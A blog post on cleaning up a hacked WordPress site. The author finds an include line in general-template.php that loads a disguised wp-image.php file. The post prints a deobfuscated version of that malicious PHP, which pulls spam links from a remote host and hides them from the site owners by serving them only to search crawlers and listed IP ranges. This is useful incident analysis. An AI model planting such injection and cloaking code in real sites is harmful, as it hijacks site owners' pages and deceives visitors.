Hack Alert: wp-image.php is not a valid WordPress file

This is how I helped fix a problem with a friend’s WordPress site. Hopefully if you google for “wp-image.php”, you’ll find this page now. But first you have to know to search for “wp-image.php”, and by then you may already know what you’re doing.

The Problem: My friend’s site was displaying a bunch of pharmaceutic-centric spam, like the following:

deliverd cash advance payments tires home and auto insurance companies preparation cialis and alpha blockers adderall low credit score installment loans erectalis not paying a payday loan company douane tramadol descripion ionline does xanax slow heart rate lisesi define credit rating fastest phentermine package insert inexpesive classic car insurance quotes cxheap disputing credit bureau starting offshore adipex mouthwash free sample viagra without prescription acute hyoscyamine interactions oxycodone dosages xanax non presriction approval on-line adipex informatrion xanex…

It was about double that size. The weird thing was that he didn’t see it when he went to the site. Not only that, at least five other people also couldn’t see it. I had to ask around a bit before I found some friends that did see it. At first I thought maybe the hack was looking to see if he was logged in, or a recent visitor; turns out it just had a list of IP blocks that it wouldn’t display the spam to.

In diagnosing how his site was hacked, I went to look at the dates on the files. The most recent changes had happened just the day before, and were in two files in the /wp-includes directory. One was in general-template.php, and the other was in wp-image.php. This is how you find malicious code on your site – looking at the filestamps. (Isn’t wp-image.php a clever name? Looks totally legit. Until you open it, and see it’s all garbage.)

Inside general-template.php was the obvious culprit: a line that read

@include “wp-image.php”;

The Solution: I deleted it. Then I deleted the entire wp-image.php file, which, it turns out, was obfuscated php code. It was ugly. Here it is in its entirety:

Gobbledygook, amirite? So I started hunting down what that code DID. It took me several hours, and in retrospect I probably could have googled for a code de-obfuscator, but it was fun work. The actual code (with function names I’ve given myself to add some clarity) is this (sorry – WP won’t format nicely):

error_reporting(0);
@ini_set(allow_url_fopen,1);
if(good_ip()){
$_0=l__0('links');
echo $_0 .'';
}else{

}

function l__0($_1){
$_2=”;
$_2=@tryfile($_1);
if($_2!==false)return $_2;
$_2=@tryfopen($_1);
if($_2!==false)return $_2;
$_2=@tryfsockopen($_1);
if($_2!==false)return $_2;
$_2=@trysocket($_1);
if($_2!==false)return $_2;
return ”;
}

function tryfile($_1){
if(function_exists(file)===false)return false;
$_3=”;
$_4=str_replace(‘www.’,”,$_SERVER[‘HTTP_HOST’]);
$_5=’http://countr.co.cc/l/counter.php’;
$_6=@file($_5 .’?md5=’ .floor(base_convert(substr(md5($_4 .$_SERVER[‘REQUEST_URI’] .$_1),0,5),16,10)) .’&v=4′);
$_3=$_6[0];
if(strlen($_3)<100)return false;
$_7=explode(‘|||’,$_3);
return trim($_7[1]);
}

function tryfopen($_1){
if(function_exists(fopen)===false)return false;
$_3=”;
$_4=str_replace(‘www.’,”,$_SERVER[‘HTTP_HOST’]);
$_5=’http://countr.co.cc/l/counter.php’;
$_8=$_5 .’?md5=’ .floor(base_convert(substr(md5($_4 .$_SERVER[‘REQUEST_URI’] .$_1),0,5),16,10)) .’&v=4′;
$_9=@fopen($_8,’r’);
$_10=@fread($_9,@filesize($_8));
@fclose($_9);
$_3=$_10;
if(strlen($_3)<100)return false;
$_7=explode(_382444431(25),$_3);
return trim($_7[1]);
}

function tryfsockopen($_1){
if(function_exists(fsockopen)===false)return false;
$_3=”;
$_11=’countr.co.cc’ ;
$_4=str_replace(‘www.’,”,$_SERVER[‘HTTP_HOST’]);
$_12=0;
$_13=”;
$_14=@fsockopen($_11,80,$_12,$_13,30);
if(!$_14){
return false;
}else{
$_15=’GET /l/counter.php?md5=’ .floor(base_convert(substr(md5($_4 .$_SERVER[‘REQUEST_URI’] .$_1),0,5),16,10)) .’&v=4 HTTP/1.1′;
$_15 .= ‘Host: ‘ .$_11 .”;
$_15 .= _382444431(38);
@fwrite($_14,$_15);
while(!@feof($_14)){
$_3.=@fread($_14,2048);
}@fclose($_14);
}$_16=strpos($_3,”);
if($_16!==false)$_3=substr($_3,$_16);
else $_3=”;
if(strlen($_3)<100)return false;
$_7=explode(_382444431(41),$_3);
return trim($_7[1]);
}

function trysocket($_1){
if(function_exists(‘socket_create’)===false)return false;
$_3=_382444431(43);
$_11=’countr.co.cc’;
$_4=str_replace(‘www.’,_382444431(46),$_SERVER[‘HTTP_HOST’]);
$_17=@socket_create(AF_INET,SOCK_STREAM,SOL_TCP);
$_18=@socket_connect($_17,$_11,80);
$_19=’GET /l/counter.php?md5=’ .floor(base_convert(substr(md5($_4 .$_SERVER[‘REQUEST_URI’] .$_1),0,5),16,10)) .’&v=4 HTTP/1.1′;
$_19 .= ‘Host: ‘ .$_11 ._382444431(52);
$_19 .= _382444431(53);
$_15=_382444431(54);
@socket_write($_17,$_19,strlen($_19));
while($_15=@socket_read($_17,2048)){
$_3.=$_15;
}@socket_close($_17);
$_16=strpos($_3,_382444431(55));
if($_16!==false)$_3=substr($_3,$_16);
else $_3=_382444431(56);
if(strlen($_3)<100)return false; $_7=explode(_382444431(57),$_3); return trim($_7[1]); } function good_ip(){ $_20=array(_382444431(58),_382444431(59), _382444431(60),_382444431(61),_382444431(62),_382444431(63), _382444431(64),_382444431(65),_382444431(66),_382444431(67), _382444431(68),_382444431(69),_382444431(70),_382444431(71), _382444431(72),_382444431(73),_382444431(74),_382444431(75), _382444431(76),_382444431(77),_382444431(78),_382444431(79), _382444431(80),_382444431(81),_382444431(82),_382444431(83), _382444431(84),_382444431(85),_382444431(86),_382444431(87), _382444431(88),_382444431(89),_382444431(90),_382444431(91), _382444431(92),_382444431(93),_382444431(94),_382444431(95), _382444431(96),_382444431(97),_382444431(98),_382444431(99), _382444431(100),_382444431(101),_382444431(102), _382444431(103),_382444431(104),_382444431(105), _382444431(106),_382444431(107),_382444431(108), _382444431(109),_382444431(110),_382444431(111), _382444431(112),_382444431(113),_382444431(114), _382444431(115),_382444431(116),_382444431(117), _382444431(118),_382444431(119),_382444431(120), _382444431(121),_382444431(122),_382444431(123), _382444431(124),_382444431(125),_382444431(126), _382444431(127),_382444431(128),_382444431(129), _382444431(130),_382444431(131),_382444431(132), _382444431(133),_382444431(134),_382444431(135), _382444431(136),_382444431(137),_382444431(138), _382444431(139),_382444431(140),_382444431(141), _382444431(142),_382444431(143),_382444431(144), _382444431(145),_382444431(146),_382444431(147), _382444431(148),_382444431(149),_382444431(150), _382444431(151),_382444431(152),_382444431(153), _382444431(154),_382444431(155),_382444431(156), _382444431(157),_382444431(158),_382444431(159), _382444431(160),_382444431(161),_382444431(162), _382444431(163),_382444431(164),_382444431(165), _382444431(166),_382444431(167),_382444431(168), _382444431(169),_382444431(170),_382444431(171), _382444431(172),_382444431(173),_382444431(174), _382444431(175),_382444431(176),_382444431(177), _382444431(178),_382444431(179),_382444431(180), _382444431(181),_382444431(182),_382444431(183), _382444431(184),_382444431(185),_382444431(186), _382444431(187),_382444431(188),_382444431(189), _382444431(190),_382444431(191),_382444431(192), _382444431(193),_382444431(194),_382444431(195), _382444431(196),_382444431(197),_382444431(198), _382444431(199),_382444431(200),_382444431(201), _382444431(202),_382444431(203),_382444431(204), _382444431(205),_382444431(206),_382444431(207), _382444431(208),_382444431(209),_382444431(210), _382444431(211),_382444431(212),_382444431(213), _382444431(214),_382444431(215),_382444431(216), _382444431(217),_382444431(218),_382444431(219), _382444431(220),_382444431(221),_382444431(222), _382444431(223),_382444431(224),_382444431(225), _382444431(226),_382444431(227),_382444431(228), _382444431(229),_382444431(230),_382444431(231), _382444431(232),_382444431(233),_382444431(234), _382444431(235),_382444431(236),_382444431(237), _382444431(238),_382444431(239),_382444431(240), _382444431(241),_382444431(242),_382444431(243), _382444431(244),_382444431(245),_382444431(246), _382444431(247),_382444431(248),_382444431(249), _382444431(250),_382444431(251),_382444431(252), _382444431(253),_382444431(254),_382444431(255), _382444431(256),_382444431(257),_382444431(258), _382444431(259),_382444431(260),_382444431(261), _382444431(262),_382444431(263),_382444431(264), _382444431(265),_382444431(266),_382444431(267), _382444431(268),_382444431(269),_382444431(270), _382444431(271),_382444431(272),_382444431(273), _382444431(274),_382444431(275)); if(mystrpos($_SERVER[‘HTTP_USER_AGENT’],’Googlebot’)!==false ||mystrpos($_SERVER[‘HTTP_USER_AGENT’],’Google’) !==false||mystrpos($_SERVER[‘HTTP_USER_AGENT’],’google’)!==false){ return true; } $_21=explode(‘.’,$_SERVER[‘REMOTE_ADDR’]); $_22=$_21[0] .’.’ .$_21[1] .’.’; if(in_array($_22,$_20)){ return true; } return false; } function mystrpos($_23,$_24){ return strpos(strtolower($_23),strtolower($_24)); } ?>

 

Too bored to read all that? Good for you. Lemme summarize – it tries 4 different methods of connecting to a remote website to download a bunch of spam content. If your host has all those methods locked down, it’ll just give up.

Oh, but the neat thing? It has a long list of IP addresses (which I didn’t bother decoding above, sorry) that it is not to serve the spam to. Not sure how it generates that list, but it effectively hid the spam-hack from my friends who own and ran the site.

The remote site in this case was countr.co.cc, and I’ve emailed the abuse address for that site’s host (http://www.limestonenetworks.com/) and hope to hear back soon.

Still not sure how they got in, but I suspect it was through a plug-in called “Chameleon”, which uses a popular script known as Tim Thumb (for image uploading and cropping), which has been found to be exploitable. It’s still possible it was through some other hole, but I’m already out of my league.

Anyway, hope this helps somebody.